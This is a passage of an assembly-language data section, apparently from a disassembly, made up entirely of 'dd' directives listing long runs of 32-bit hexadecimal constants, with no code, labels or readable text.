14E00D7Dh, 66CE2F13h, 0E091B3FFh, 9819256Ah, 1A2B0C87h dd 3718725Eh, 0D575891Ch, 9E9D9C2h, 646CF4C8h, 6FD3E1EAh dd 0D1AB6612h, 2AE5FDE9h, 93564FFFh, 0FE210030h, 0F6814E5Fh dd 85371823h, 7D946438h, 0F519F82Dh, 18081508h, 5F711E5Eh dd 0EA5C7E2Fh, 8099Bh, 6739F8D6h, 880C833h, 9DB0992Ah dd 53FA9F74h, 0C50138B1h, 30B1255Ch, 0EC2E3831h, 0C32916F2h dd 0F92765E6h, 7CDE2649h, 34743D2Fh, 0A1AF0C62h, 0CC8E7A91h dd 25D6755Eh, 0DE8CB28Fh, 0D8B96156h, 0F7D88689h, 0E566749Fh dd 1CAEB8D3h, 0C94942BFh, 8E6D806Ch, 0B5580E48h, 20C159E2h dd 5BB27071h, 0EE515F80h, 0F3BF5BF5h, 0F4BB9210h, 6A5EC586h dd 680230AEh, 1D96065Bh, 0BA659B60h, 44ACA01Dh, 2EED0530h dd 0B36D3568h, 766E014Ch, 0CAE97C2Bh, 1710122Ah, 0FD8AFA3Dh dd 5C802B10h, 6E4A725Ah, 7DF76D41h, 0C47F2C79h, 0F804FAF6h dd 31AF699Eh, 667133Bh, 0A4C106FCh, 0C41BB5Dh, 8FD4390Bh dd 7F278BACh, 3D7C219Ah, 596F3D89h, 6D698C92h, 0F107807Ah dd 0AEB652BCh, 51C8CE60h, 0C02324B5h, 8C5F256Ch, 9CD2845h dd 0C11E960h, 5D5A9976h, 0BD27CC50h, 8B8EF1B7h, 337B26F7h dd 420933A6h, 3FECF591h, 159CE16h, 16C8E574h, 9519FE68h dd 0B9AD0798h, 0F1E55882h, 45D8F7C2h, 9363CFB7h, 0DF8CBF5Ch dd 43584163h, 53D1E72Eh, 170C8757h, 55EB500Fh, 803D142h dd 510BEBE9h, 0C6663768h, 1DB9010Ah, 0E1E969E5h, 0C2B150A8h dd 5919667Bh, 0C30EDAF6h, 5BB65120h, 40998996h, 0AFB26FB2h dd 0C1BEF74Bh, 9F0E1B6Bh, 809CFE5Ch, 0E6D05285h, 100D18BEh dd 0F3272877h, 7D38E25Ah, 0C22D1B11h, 0AC5C65FDh, 1605107Dh dd 4F1BCE9h, 7AE8F26Fh, 7C83CD25h, 5F0A5063h, 682CC082h dd 7D354975h, 0AD64968Eh, 6BF4C050h, 5A5FD336h, 0E95DD601h dd 0E4B8A221h, 6504C81Ch, 6C2BE5ECh, 280BCB5Ah, 996B05C3h dd 0E7D126A4h, 3EE09D3Fh, 0A7BC1091h, 49761CA7h, 8CAB6E17h dd 5E289930h, 0B020A357h, 0DE883951h, 3E92F03Ch, 2144232Eh dd 0F521D151h, 52117D6Fh, 0EF291704h, 0F8214405h, 4A045388h dd 0C4CAE831h, 0EA136B2Dh, 2F12751Eh, 662A4BBAh, 45C0C833h dd 1469E37Dh, 8EF9574Bh, 0A115D7EBh, 3B16A3A1h, 0FE0150C1h dd 883B2321h, 0BA5F39E2h, 0FD309AD9h, 0CE060E68h, 52F24B6Fh dd 0B3619AFh, 6C08715Bh dd 7FCC00A5h, 47E9320Dh, 627D9638h, 300216A6h, 10965DE1h dd 0B70B53F4h, 12F930BBh, 6A1D41B8h, 5D65EE2Ah, 0E5FC2FB5h dd 0FCE89F60h, 687A07C5h, 4E2D6A7Ch, 8F5A4892h, 62BA8056h dd 4C583E79h, 3D25201Eh, 3C144EBEh, 18048267h, 0C21C7817h dd 486A7B40h, 6B4C51C1h, 305F001Eh, 5D51679Ah, 5B34C9A0h dd 0CC120D7h, 19C305E3h, 0AB12F33Dh, 92F9401Eh, 5A615315h dd 2C19F1B5h, 23E78843h, 0A9A3108Bh, 0EAD500DFh, 0E5463CBAh dd 0EE37C43Bh, 55998DF0h, 0C47BE9A5h, 0C2BC0908h, 333E7D02h dd 55E6A940h, 0F12DFC2Eh, 8D71E984h, 312DF9B7h, 57E23AFDh dd 0E688977Ch, 80C11DA0h, 0ABF18105h, 745E1149h, 86837DC0h dd 6DBE9AD7h, 0F8FE9809h, 0F1E5FF7Fh, 91A96FCBh, 7B03E9B1h dd 57BBC400h, 0B578156Ah, 0CDF71641h, 0A0EA7052h, 249B9B4h dd 0C6792CE5h, 0B484BFB2h, 0D6F60570h, 0ABF1D312h, 9281AA65h dd 0E1765BEEh, 44A17015h, 0FC354017h, 9868A086h, 72775E28h dd 52825809h, 5B0516EFh, 75B1E5C2h, 27C70CCCh, 0C2F2FC28h dd 6479F7A7h, 6037E4CFh, 1DECCABh, 0AD53F928h, 81E4D758h dd 2F587D4Bh, 4E00C37Bh, 4AF80F4Ah, 5D28FA4Eh, 0AD165BE1h dd 0AB2D8036h, 0B0654718h, 7055187h, 628DB46Fh, 0B9043B92h dd 75254A66h, 1D2C6188h, 9F7E3801h, 0F360C6C9h, 0E1051D4Ah dd 2FC8504Fh, 302CFC00h, 80317D16h, 554C61E9h, 2FD8A6FDh dd 3255624Dh, 0F573FD24h, 0ED09D5A4h, 7B7EC8E6h, 2E082664h dd 8EE9449h, 5AE95F05h, 218A750h, 2D4F8A68h, 0B28B4055h dd 21E79D66h, 7B89FA89h, 6602098Bh, 75CB4256h, 0B6D63760h dd 0DE30F813h, 0EF1031CBh, 0EA680C39h, 40A91525h, 0F84B019Dh dd 8ABF26EEh, 0E9D948BDh, 28209288h, 27286851h, 41538959h dd 4BAFF02Dh, 0AA3DC475h, 495BDACFh, 8EA91440h, 3A4FD35Fh dd 9FFAABA5h, 5A4DC649h, 0E9C55EE6h, 93AF0D9h, 0C1001998h dd 0F12D07E0h, 0BCACDF4Ah, 9B422521h, 0E8D8C704h, 3CBA4E52h dd 0DF975425h, 0F1556AB2h, 720362C7h, 2D64ECD5h, 934C28FFh dd 0AB363095h, 408262h, 5680490Bh, 1A982A68h, 542F01Ch dd 58491031h, 9309C248h, 1B7F21F2h, 0C15D430h, 7C8EB078h dd 1AEB1CA7h, 1644509h, 76E681CBh, 0E0C7FF60h, 8354BCF5h dd 0C9A4385Bh, 0C5C2072Ch, 8946E9C7h, 27DE737Dh, 7B2FEA74h dd 0DDD64B21h, 1ED8B43h, 51BE563Eh, 6F146622h, 0EE83DEC1h dd 1E5E74F7h, 6599D9BFh, 0BBF76575h, 70DCA02h, 715E2BEDh dd 0E6C3E905h, 0D1E4D124h, 60C6417Eh, 9C07200Bh, 0F889DB91h dd 4696D3h, 0A34BD4Ah, 0ED816170h, 50BE873Bh, 404AE3F8h dd 267DC78Bh, 0C2EB4A07h, 0EE595525h, 0AF6BEC0h, 46560CDDh dd 77D8EED1h, 2B6E851Dh, 1FD2EF81h, 506B0922h, 5E270810h dd 0C690A07Bh, 3FE95781h, 0EE738123h, 50EA4BDFh, 6E6D062Ah dd 0F53DF1AAh, 56312F39h, 50812DF8h, 2C14E01Fh, 624A27E2h dd 0BDDF80D5h, 9E6D2871h, 77A5097Eh, 6F614F5h, 8A1731BAh dd 68133633h, 0A0CC51F6h, 503112BCh, 4A310113h, 6063B237h dd 494B03A5h, 0F220C7B1h, 0DB751224h, 1BC2EA77h, 4635ED5h dd 8205EFC1h, 0E47588E3h, 672BF01Fh, 558D052h, 0C07AE8F3h dd 0E9D88850h, 3291634Fh, 0AECC322Ch, 7605FDF0h, 0F6241280h dd 0E60AC1DEh, 0F2E8EB6Fh, 5A70F030h, 0D305D597h, 2043EDACh dd 8E292D24h, 5CF46FA0h, 6AF5651Eh, 4A083D10h, 96FB27D4h dd 72C748Dh, 66331280h, 3B0631CCh, 3EE91660h, 0E13EADE5h dd 81D50138h, 0AE376F5Dh, 0D6087092h, 56C78034h, 8147757Fh dd 5DB2CF00h, 6CE925EEh, 8229B4E2h, 0CA619BAh, 9A20166Eh dd 0DCD49DAAh, 9B477F6Bh, 7319752Dh, 0B165244Dh, 2F499F77h dd 32E05B33h, 4C0A13E4h, 1F5A66Dh, 0FD6297EFh, 4D204F12h dd 4072418Eh, 6B6807EEh, 223004B0h, 39F2B7DCh, 664C0CE2h dd 0BAAED629h, 0B0C61BC0h, 0BA6C1E2Fh, 4EC7A0FAh, 619E3C0Eh dd 1F54CDA4h, 809393C7h, 4E10F8E3h, 83F5C297h, 4AB5331Dh dd 0F50FEF4Ah, 0AFFB455Ah, 0EFDBD9AEh, 1B0FBB59h, 0B1E3742Bh dd 2CA7591Ah, 7CB76CF0h, 1E370091h, 83E94016h, 7831559h dd 4E42209Ch, 858D30A3h, 58AEA7EBh, 33824BE5h, 0DFF35D46h dd 45F1C003h, 971807E2h, 0C0255136h, 7910EBCEh, 0B2243361h dd 0CBE1E1Bh, 0AE7D3604h, 500B8069h, 5F48BE4Fh, 0C3C46E97h dd 0E1DA796Fh, 0F070F731h, 98175DFh, 64FD2489h, 88A6B377h dd 0B7FB4FF1h, 0FEE61EF8h, 4274E91Ch, 54D65C2Fh, 0B4DF17AAh dd 0EE45BDA4h, 61E3A012h, 0EA4E582Fh, 9FE88326h, 0CC63680Bh dd 0F50D289h, 6F9FC243h, 57D90B9Bh, 0BF3E8285h, 40E34C1Dh dd 0C4599F4Dh, 8E7E75h, 0BE4D95BBh, 194904Ah, 7D3E0776h dd 3B74C5E9h, 6885A3E2h, 1006BDFAh, 0B05A84F5h, 6BE62837h dd 68479705h, 8DE37D9Dh, 0C0840148h, 1B89082h, 215B5DEEh dd 2C68A5C8h, 0CFD17E1Fh, 0A450E6Bh, 0D49BF5ADh, 0DA46EDDCh dd 0DF7FC21Dh, 67744642h, 0C050ABEFh, 165D059Bh, 6570A311h dd 5B62BEC8h, 202DDC8h, 1C5F2D5Bh, 83D32506h, 68E1B45Ch dd 5FC248ACh, 8B71C07Eh, 6DEEF7EEh, 7D771024h, 94729641h dd 80E15E93h, 4D06252Eh, 8CF47073h, 4B306D4Fh, 48252A64h dd 3902683Eh, 4710822Bh, 6B2252E0h, 925DF70h, 76B377EFh dd 0F42309CCh, 577B278Bh, 0D1C497BEh, 5EC2A521h, 73985F02h dd 0C69560C0h, 23E2551h, 0DDE97779h, 0F6E997B0h, 1E8D994Eh dd 0F964F47Eh, 54E8792h, 0E47AC4E9h, 26EA97AEh, 0D2764377h dd 57956A3Eh, 555280FCh, 8150BEFCh, 0C87705E9h, 0AA513C0Dh dd 58100CE3h, 2F587Ah, 5FFE095Eh, 0BBDE681h, 5622A562h dd 7C2AC5C9h, 7D0B7D0Ah, 0FC68802Ch, 16AB2454h, 6B39BE5Ch dd 1220C220h, 0A1D1B283h, 6D49702Bh, 60020BBBh, 0C042C379h dd 5A0886FEh, 0E4B7C070h, 1917B371h, 2CFACE89h, 34F6F540h dd 5F772586h, 431525A2h, 7116154Ch, 40B87021h, 205A894Eh dd 66E6E972h, 8B5FC79Dh, 6848809Eh, 0EA83F0DCh, 4A27C0E3h dd 0D0F6808Ah, 882D3417h, 80B2170Eh, 0ADE9DA30h, 914BBF5Bh dd 42B703A6h, 0E25B753Ch, 0D8CCE961h, 844AB93Fh, 44FEB168h dd 168263FCh, 5F059149h, 192D2320h, 7D1FC569h, 728D029h dd 56C7E92Fh, 0C2DC2DA8h, 745925Eh, 163813C2h, 955D898Bh dd 0B6E9897Eh, 8019F178h, 9406FEC3h, 4D8BA360h, 54054AC7h dd 1692352h, 0F3F016F1h, 0DE127A48h, 7A49D9AFh, 5FDECEA0h dd 1B798813h, 0DC016941h, 0F26E4D2Fh, 350EC1BEh, 0DA83088Ch dd 73AD227Fh, 7EBFF5B0h, 315A87FEh, 0F6100B1h, 490D226Bh dd 20F075C2h, 61D1BE07h, 7BD4088Bh, 772419B0h, 0A898FA96h dd 0FE5EF5BDh, 0B8C85B95h, 99C3A799h, 0B31809EFh, 7052822h dd 0BBBDA0CCh, 0F6387A01h, 5BDD2135h, 28449A84h, 0E86A81F2h dd 971FF1E9h, 3A045C2Ah, 8003AC3Eh, 0EE824DF5h, 4F5A1F50h dd 0EDAC0EBFh, 0D2E9CE01h, 0C7E95489h, 0E54FD0F2h, 21725B68h dd 0EDA2D063h, 61B5C845h, 3FD4829h, 715F0840h, 0D5F7024Dh dd 9349E952h, 279A44DFh, 0FDE4481h, 9697E961h, 0A5178354h dd 0BA7DC1E1h, 7E6DC802h, 0B3DE5E1Eh, 0D858A7C0h, 0CDE91238h dd 3EC8F574h, 0CC304E4h, 52B55ADFh, 2117DB0Ch, 4353DE95h dd 1276F408h, 2BA60053h, 0BB6E0507h, 0F3203500h, 5AD329CAh dd 0DCDB5AF7h, 305CD05Ah dd 0B22671C8h, 0D3C00909h, 0B010BE42h, 0D4614C98h, 1AFBEE81h dd 0DC902A97h, 953D4068h, 0E74E90B2h, 394C1B20h, 0CE0CF387h dd 3108D1F7h, 0E9DEC8F1h, 0D9852B2Dh, 68700D19h, 2054CC0Eh dd 19464B3Dh, 0D6230FF0h, 0C25AFCDCh, 5C506852h, 8073EAAh dd 810082B1h, 0B52F72EAh, 0B159B073h, 0F8D81D19h, 5D46C85Fh dd 65C75414h, 382E059Ch, 8C003217h, 41EB0C8Fh, 0FDE91645h dd 7E8558B3h, 7995E2B1h, 6DAE8343h, 0F3B02546h, 0C2F65582h dd 8A40CCAAh, 0C79D107Eh, 0F0C425E9h, 78E5E92Dh, 62F9BD65h dd 0F634EB6Fh, 89745294h, 0A08F6650h, 0BB5677B8h, 0C6AE3CD0h dd 0D24A9FA0h, 0C009FE5Fh, 3D35F5Ah, 0CB02C30h, 9D873F6h dd 0C205E9B8h, 0C3295157h, 104A34B7h, 891804A8h, 0F20D2A9Fh dd 2F4C3509h, 0EDC10205h, 4E246329h, 638AAFECh, 0F740FA5Fh dd 1790C46h, 19C98E54h, 2FD9555Ah, 0D94F57C9h, 28AFD634h dd 0D4EE97Bh, 0FD562282h, 0AD727EEAh, 0AFDD2B33h, 21BEF8E3h dd 68102C31h, 38013B8Dh, 0A6E940E0h, 0E2603486h, 54DE2827h dd 4E4FE2AAh, 0CD879A48h, 0F29F7A92h, 6BC41D17h, 0F2EF8164h dd 3A563025h, 2F08A250h, 0BA0F35Dh, 47579EE1h, 0DF5C9E96h dd 28167DE3h, 0E72704D0h, 0BC3B888Bh, 294D4E16h, 0C125E4F9h dd 7CACA3FEh, 0A0AFFC25h, 104A0BCBh, 0EC84287Fh, 807A902Ch dd 68162FCEh, 6C3119B4h, 0CDF5BAB5h, 0E1769841h, 0C54AEC7Ah dd 0E6BA8DA9h, 452D7BECh, 0FF95CAF0h, 78D97BCBh, 0DC16AF83h dd 71C6E7ADh, 2A16ED49h, 0A2EE61A0h, 8C484308h, 6B84F116h dd 7AE964ACh, 38E9DF3Ch, 0FB5E177Ch, 4366F66h, 7F37A568h dd 8111882Ah, 638459D6h, 0A5F1A2BBh, 42FF8EAAh, 0CCAEB415h dd 0DB25E982h, 52BE23D9h, 290C0472h, 0FAC468C3h, 2F209136h dd 43A27125h, 50095413h, 1ED797F6h, 8B5430A2h, 6391E908h dd 12ED659Dh, 138A0158h, 3037943Ch, 45703ACEh, 0EB41DC97h dd 0B882DBA5h, 962C4E05h, 0E5484DDEh, 0CF379D10h, 58AAC55Ah dd 655646E4h, 0BCC01E8Ch, 0CFCE3314h, 5E25F757h, 0BD5B73CAh dd 9EE9E1D0h, 6CD8F12Eh, 83D2DE91h, 57B82B80h, 4896013Fh dd 976DBC25h, 0FD8EFC39h, 4FEAADC4h, 0E2E9EB34h, 55F3C58h dd 0EEEAA229h, 0B5DB5131h, 4FC8B22Eh, 0A24D12EAh, 43B9323Bh dd 4F7E555Bh, 85205CD9h, 257C1226h, 0C76B848h, 4821ED34h dd 3D84A5C7h, 85E95AA7h, 8C887FE6h, 8864285Ch, 0C11D55A5h dd 43A6B43Bh, 29CD7962h, 0B77461DDh, 68E0D300h, 0AD91CE5Ah dd 5D3C946Eh, 483A0B92h, 0BA006250h, 36ED08E3h, 12B9F281h dd 17FC635h, 2B3D5639h, 0A2853B49h, 7A7F9Ch, 8177BD59h dd 226D30C9h, 0F1004C76h, 0F053825h, 992C9AE9h, 0B3562F6Ah dd 16EF2644h, 2A4712DBh, 6CF85F03h, 7837E9A0h, 0DCCA90A9h dd 69BD1C67h, 0DDFC5F0Fh, 769BDA0h, 4E11324Dh, 1A2B1606h dd 1EA0663h, 0C4E5B7Ch, 80C92FBDh, 5279F9C2h, 0EE0CB01Eh dd 603EED02h, 3F685AE4h, 1F67305Ah, 710D8AA2h, 379E8501h dd 0E640BB1Fh, 0E0C865F1h, 7BE92ED0h, 2CF1AC66h, 4BD6108Dh dd 74C8E7C1h, 503FBA00h, 0A05B0937h, 41AF2032h, 0DF78F69Dh dd 0E22DAD01h, 0EC7B2860h, 56B57664h, 4F9F4294h, 0A4FB33D4h dd 1365A104h, 0E8BB13FEh, 0AF130B24h, 6183F778h, 389AFC7Eh dd 5520305Ah, 52660F33h, 0D824D7B6h, 91FA13C2h, 9DFC9BC8h dd 27D6E78Fh, 7BD0FF0h, 7DC3C6B2h, 0EA9BB29h, 58A0D155h dd 171D5905h, 39431BCFh, 0D078187Eh, 5A11024Ah, 41D2AC25h dd 1180D607h, 0FCBBF57h, 47300E7Ch, 21F7DC56h, 0AB144820h dd 4643C30h, 0B12F51A6h, 487D74Fh, 0DAD7093Dh, 4B0C70C4h dd 3251C8D8h, 0CBA7924Bh, 27D4A24Bh, 55D2E276h, 112D34BCh dd 5D35149h, 0A8299968h, 406FC4B8h, 7EF94A1Fh, 0C298B90Dh dd 540D852h, 0E910A905h, 0F5407C2Dh, 64ABCEBh, 4C65B860h dd 0FAD766F7h, 7F7DE24Eh, 0CC0350Fh, 174F0C07h, 8C58D5E9h dd 682F51C8h, 0FDB47F60h, 69DAE913h, 8E73E69Dh, 0A33D6512h dd 62C58522h, 0E47EA2AEh, 6E4C53B8h, 13030684h, 2604CEE7h dd 0EF557417h, 8070AD4h, 274835Eh, 0C431CBFAh, 7DECA7E9h dd 0F014E95Ah, 52873BDh, 62E93FF7h, 6974B359h, 0B303302Eh dd 1CAF0B3Fh, 882079E9h, 0E2BE6656h, 8F574A3Ah, 22581EBFh dd 0C0E7CF81h, 0BD95325Ah, 495AE0FEh, 0F1305695h, 0EEABC72Bh dd 6A436054h, 53025758h, 0E1209368h, 0F21E00Bh, 97F59E7Eh dd 0BE2D52CBh, 162ABD3Dh, 0BA03C51Bh, 0E9A165A2h, 0E6D7F297h dd 31B50F7Eh, 88AB3CA4h, 0AB5F20A4h, 9084309h, 5D12621Ah dd 23034BC2h, 0EBA54F29h, 754FEBCAh, 477B0127h, 60034455h dd 0C2CF327h, 0EF02CB01h, 82824823h, 0E47FD39Eh, 1F54349Fh dd 32D303BDh, 697E7634h, 0BA609325h, 178AF6F1h, 0C01444B7h dd 0F19281E1h, 93AD6F83h, 505DE909h, 0E00BE37Ah, 6DA629h dd 59D622FDh, 0E94AB092h, 51E60B2Eh, 886A65F5h, 38883CD3h dd 12AD2444h, 58D9B08Dh, 54EB8BBBh, 0B45BCB87h, 0E6EEA53Dh dd 549A95C4h, 0F7BAB87Fh, 21FEB7D6h, 0DA151162h, 49541F71h dd 0E967D41h, 0BD88EEE4h, 28215A2Eh, 170BB4ACh, 82D9F480h dd 0DA7D072Ch, 4053073Fh, 62294414h, 8A9BA52h, 0B1DC5D5h dd 0B8395158h, 0E9C78B59h, 3B39D0B8h, 9293E5D1h, 7C24BB70h dd 3C0803C5h, 0F12D02FEh, 0E0DDD469h, 1322ED23h, 0E14B0CBEh dd 2306A85Dh, 92EC306h, 0F0C2D78h, 0E6CBE44Ch, 0EF5BD825h dd 0D74F4801h, 0E17F6DC8h, 68AC2ED4h, 2DE74117h, 2C31C1DBh dd 0F616C3B7h, 2F047EDDh, 5FB24633h, 2426EB60h, 7E479125h dd 0A008A01Fh, 0BDC56ED7h, 0F352C35Eh, 0A6E996E1h, 495E17DAh dd 0ADA1A0E8h, 0F03101FDh, 4A158C70h, 0E188FA8Ah, 689840B9h dd 5091D24Fh, 1E343EA3h, 51C801FEh, 889CB753h, 41AF20FDh dd 32BBC95Bh, 38A2059Ch, 6606B352h, 6BBE30CCh, 1CC6C3F5h dd 43BBEB12h, 0AF4BC8B8h, 0F828BDD1h, 0E485BC2Ah, 3E169C2h dd 5BB9DCF6h, 0B5E22F78h, 0DCE4AB89h, 8B4B920Fh, 24A56944h dd 3CC7216Bh, 557AF6E0h, 0A2324B65h, 820B9258h, 0CA554340h dd 0FD95DC1h, 1C068C1h, 1902306Eh, 20E7A94Ah, 0F19D3A90h dd 8251E2F4h, 933D77C5h, 322780Bh, 19ED686h, 0CD80C5FEh dd 0CCF5CC2Ah, 23B0EDECh, 13ECB326h, 0ECDE8889h, 86312539h dd 0A068DB90h, 0E3E3234Ah, 6542C4h, 0EB80E328h, 6938B1F1h dd 95A84h, 0B551C328h, 0CDFE3E0Ch, 3545F617h, 0F1D02130h dd 3BC0581h, 0F24E5148h, 34EED234h, 7E23C2F7h, 7B136D8h dd 293D8B52h, 325FBC4h, 0E9A4C580h, 480475CBh, 0E8C0E634h dd 50652E81h, 98EE3A64h, 6B125D0Fh, 0FEA6FEB4h, 2875EF05h dd 77E7AC96h, 0CF3D94F7h, 0B768209Fh, 61F957E3h, 7B9A84Fh dd 0C57560FAh, 63A6A9A5h, 5000F20h, 72757C88h, 0A12DF801h dd 0B66B5F07h, 3D2F165Eh, 7654D6E3h, 2D0640A6h, 294E0D0Bh dd 98FE22Ch, 0C293F407h, 770B4BFCh, 84166A0Bh, 0E984B605h dd 5D45313h, 63AB85C1h, 662CF24Dh, 0EF817B5Dh, 3B76E1E9h dd 1642023Ch, 0D3280E74h, 0B1B02E19h, 19F90113h, 0CFE90C00h dd 8820B751h, 5AD53061h, 595FEAFCh, 0E9C272B9h, 8C9B8287h dd 526AB22Fh, 0A8BF5BB2h, 0AD129287h, 0AABAC4EBh, 0E7ECEFA5h dd 5E0C7D35h, 0F764E43Ch, 102BA00Bh, 0C6C781E8h, 0B57ED722h dd 2ABDE0BCh, 2848BB30h dd 5E7DE5D0h, 4064B1A5h, 0E476E912h, 24717BBFh, 14F00994h dd 388CE5F4h, 168C23D0h, 0B0C2C2Fh, 0AB6601FBh, 97E3DA9Fh dd 0AAD7AC62h, 53A73E79h, 6850031Fh, 25126F61h, 0BE4B434Bh dd 80D529D3h, 0F27B3FB6h, 6B37B019h, 445F0D3Bh, 0F9535A20h dd 755DA1D9h, 0B0EE36Eh, 5F552B44h, 7A896C8Bh, 4C060609h dd 0E700607h, 5095EB7Dh, 4BF8B005h, 57098C74h, 58BD6812h dd 2BC03DBFh, 87045EA2h, 0EB54FB1Dh, 708501BCh, 92A2E325h dd 5258F0BAh, 4E68660Eh, 4A629475h, 0C6DD90FEh, 6D3FF863h dd 73814ACBh, 0BE00823Dh, 0F41677D9h, 92D4627h, 0D7DE2060h dd 0C704BA21h, 5F5D631h, 6D1F127Eh, 0F8A02A23h, 0F60E40CBh dd 0FC0416D6h, 0BF123F3Ch, 0E2FA7494h, 0D7839AA0h, 0C434209Eh dd 99145A8h, 10AAE3E1h, 25E4FDFh, 0EAC15A14h, 0ABDF8660h dd 0CB001192h, 0F3BE5651h, 0B772384Fh, 244B66DAh, 0DEFB9C85h dd 5D0C69E6h, 0D38B97DBh, 0C447D3Eh, 9979A22Dh, 0D9EBF721h dd 0C47CEA57h, 7D12F381h, 5E42CEFh, 76A234B6h, 92F510AFh dd 0B3808C20h, 4318BCBBh, 79361259h, 50973C27h, 44238E1h dd 94E87469h, 3460BD05h, 8E9DDA21h, 0DA72E3CDh, 6A656882h dd 0EC5CB59Ah, 0D9E95A40h, 0EA7B39Ah, 0AE124F57h, 0A500A19Dh dd 0CFDE7FD9h, 4E82C684h, 7A7623B9h, 82066F97h, 5A4E4B87h dd 0B176F35Ch, 0E96CE768h, 71F4E90Bh, 22091F52h, 0DD5DE12Bh dd 576072C2h, 0EB2DB9D7h, 0BAABF5DDh, 3B9F81F5h, 283B7B72h dd 0B800505Dh, 5AF40262h, 2D4A2BBDh, 0FF425C99h, 0FCBE8277h dd 6268016Ch, 851D5725h, 313881DDh, 9EE12A5Dh, 0E70E1D6Eh dd 0DE89127Fh, 0BC72575h, 5A847427h, 6B806254h, 0E92CF17Eh dd 7B7F4136h, 0B7AF31A0h, 39F789E8h, 2A357017h, 0D85BC4F8h dd 0B90551FDh, 108206DCh, 9410FCB8h, 148A2879h, 0AA800237h dd 0A47397E2h, 0E1BAED96h, 4F2E2861h, 0BDA83BA4h, 0A0F2FDA0h dd 0D12CC38Dh, 68414729h, 237D6A1Ah, 0E90642B4h, 74096B52h dd 8ED72559h, 85EEB2D5h, 0BEDE00DFh, 2A187B37h, 6327E913h dd 2B9029ABh, 23CBA8F9h, 40F0C9E3h, 4B1D452Fh, 8100DDF7h dd 4667D6CDh, 0D3E2CF74h, 0E9F4FE80h, 0D99F825Bh, 0E3A56F33h dd 0B9A2EE65h, 0FB96F012h, 0D1A97234h, 0AD5F2A4Ch, 775925CAh dd 9F2A2867h, 41F7D4B5h, 963F9D68h, 6055A86Dh, 261ADF02h dd 90E74F9h, 1B555F21h, 850CC92Dh, 110BB900h, 0BD089B01h dd 7D6A6626h, 0E366EF3Bh, 0AAE91EDEh, 8EF8ED30h, 0B8896FBEh dd 6CB3FF75h, 5D486D2h, 11FE5014h, 0ED02F618h, 39C33608h dd 10069C40h, 540662Eh, 7A442501h, 0D6712B1Ah, 0EFBF492Ah dd 0D9AB43F5h, 0F0299DA5h, 0C562B22Fh, 7F105281h, 28FAE965h dd 68FB4BFAh, 3DFCE9C7h, 2D583AC0h, 0A0A143C6h, 9D0FEE85h dd 1E9C43D1h, 89A2B1C2h, 0B21857FDh, 664134E9h, 0F0FAE204h dd 4A605E97h, 5AE40F11h, 27680156h, 0E90EA317h, 2F4C6CCDh dd 3F2EC55Dh, 0FD885593h, 0E97D25B2h, 0C03BDD7Fh, 68F03E2Ch dd 3A8834Bh, 0C7D2775h, 70F55418h, 2ED94697h, 9717921Ah dd 0A59BA58h, 433B4B82h, 0D70A377Fh, 0F18159E0h, 6B0E7B0Bh dd 25287C6Eh, 0B94083FEh, 0C1338C57h, 245DDB24h, 91206060h dd 71900E12h, 7DCCCEF5h, 38943B75h, 51BAE302h, 0CB600D79h dd 0AF2C5FD5h, 0C8023518h, 0C12F2A5Eh, 0ED50D6A8h, 2555BAC2h dd 96D51C26h, 3B4E33E8h, 78075E2Ah, 104B02A7h, 0BECB8120h dd 7B8D311Eh, 0F53CFE5Ch, 40972C79h, 611EB99Ah, 0F55250F0h dd 4B085B10h, 0E9124BFDh, 2830456Bh, 167AC3F3h, 89F773D2h dd 539C7F2Ch, 50C9DCB7h, 0C6A63530h, 128DA6C1h, 0D6F970E1h dd 0EBCD432Ah, 69A0D28h, 506A57h, 0CB685F08h, 626D9C7Dh dd 0ED204313h, 7B390AB5h, 7D6F2014h, 71205576h, 0E7FA9F77h dd 0E89B2B2Fh, 3F575F4Ah, 26006DBFh, 22CF816Ch, 6A48B378h dd 2C2D013Dh, 0FE31B21Fh, 4B0B626Ah, 0D9BDC458h, 0F8E9E9C4h dd 6E3C7536h, 68484A1h, 0F4409068h, 25961B8Fh, 6465AC4Ch dd 0B4D59DAAh, 824F5AC4h, 0CDC003FCh, 1321F08h, 8044E59Dh dd 0AFBA5250h, 605B7305h, 0FC4E2FFCh, 13213B6Ah, 0A4E0C1E9h dd 63681259h, 104EB377h, 5F00C03Fh, 0EB2DE801h, 79509E7Eh dd 0ED523067h, 4BAD1BD2h, 0CE9ED9A8h, 0BDB0492Bh, 6631F1F8h dd 8E04BF31h, 11F95C03h, 7BB625D8h, 9D069EB0h, 5443A77Dh dd 83B8E762h, 5A60225h, 3951BE0Ch, 8FEB04B3h, 685002C7h dd 69A25CD7h, 64DE2003h, 57421BE2h, 620296D1h, 422EC54Eh dd 0B07263D4h, 0BD54463Ah, 0B9E944C0h, 5D98B15Ah, 0F502E5Dh dd 19F7076Eh, 68627064h, 249B07FBh, 0ADE89B0Ch, 7D2D13BFh dd 0E7690108h, 601914BAh, 3509CF53h, 552B8D38h, 71A00B82h dd 44674B80h, 0B69F2C08h, 0E5E9125Eh, 77B7ED59h, 4458A42Dh dd 4BEA90FEh, 2B90B12Ah, 3E65B7B7h, 0E3F982B4h, 18DD6C62h dd 5F0368FAh, 38153349h, 31F1AF9Bh, 0F6B86F4Ch, 8FD75489h dd 10853733h, 0C42EE2ABh, 0D1073913h, 97EE27E6h, 0B012BCBFh dd 0C0FE3007h, 0D012B753h, 8E0F7E7h, 0C7388057h, 12CF33D8h dd 0D728B2B5h, 40BFA43h, 55AE5CE9h, 0B6208714h, 0BF2FFF7Ch dd 2FE9E178h, 6BD938C8h, 822E3F70h, 0D52E078Ch, 0F6135326h dd 514FCE07h, 2BA4004h, 24C7278Eh, 8528607Dh, 67980A5Bh dd 20E8F729h, 0EF72B508h, 71B56BF4h, 0A85E9737h, 17FF4F74h dd 4C7B632h, 76C2E9FEh, 0FEB8003h, 3E7384C1h, 0FC1848E3h dd 0E82110B2h, 62A45D5Eh, 55924339h, 0D3E83E0Dh, 0B08DECB5h dd 97389968h, 164EC79h, 771764B7h, 1A5A280Fh, 75473D5Fh dd 78D1459Ah, 0ED30D9F7h, 94F21666h, 0AD0D0011h, 2968C527h dd 82CA0FDh, 0DF328095h, 0C120A563h, 8911EB9Ah, 6E3164h dd 0F4029DACh, 0E9562E61h, 0FC6FBDA7h, 75FBE2D6h, 0EC51DF09h dd 0C387785Ah, 0CBB1E903h, 0FDBB0A25h, 0DF891003h, 0CF68CCE2h dd 71096A05h, 5D4872AAh, 99E0818Ch, 833AD728h, 55ACE726h dd 7B161A86h, 0E3EB04F4h, 0AD425470h, 2208410Fh, 43C710A6h dd 68C4E34Dh, 0EEE596D2h, 2E805440h, 134F69EFh, 5C5808C7h dd 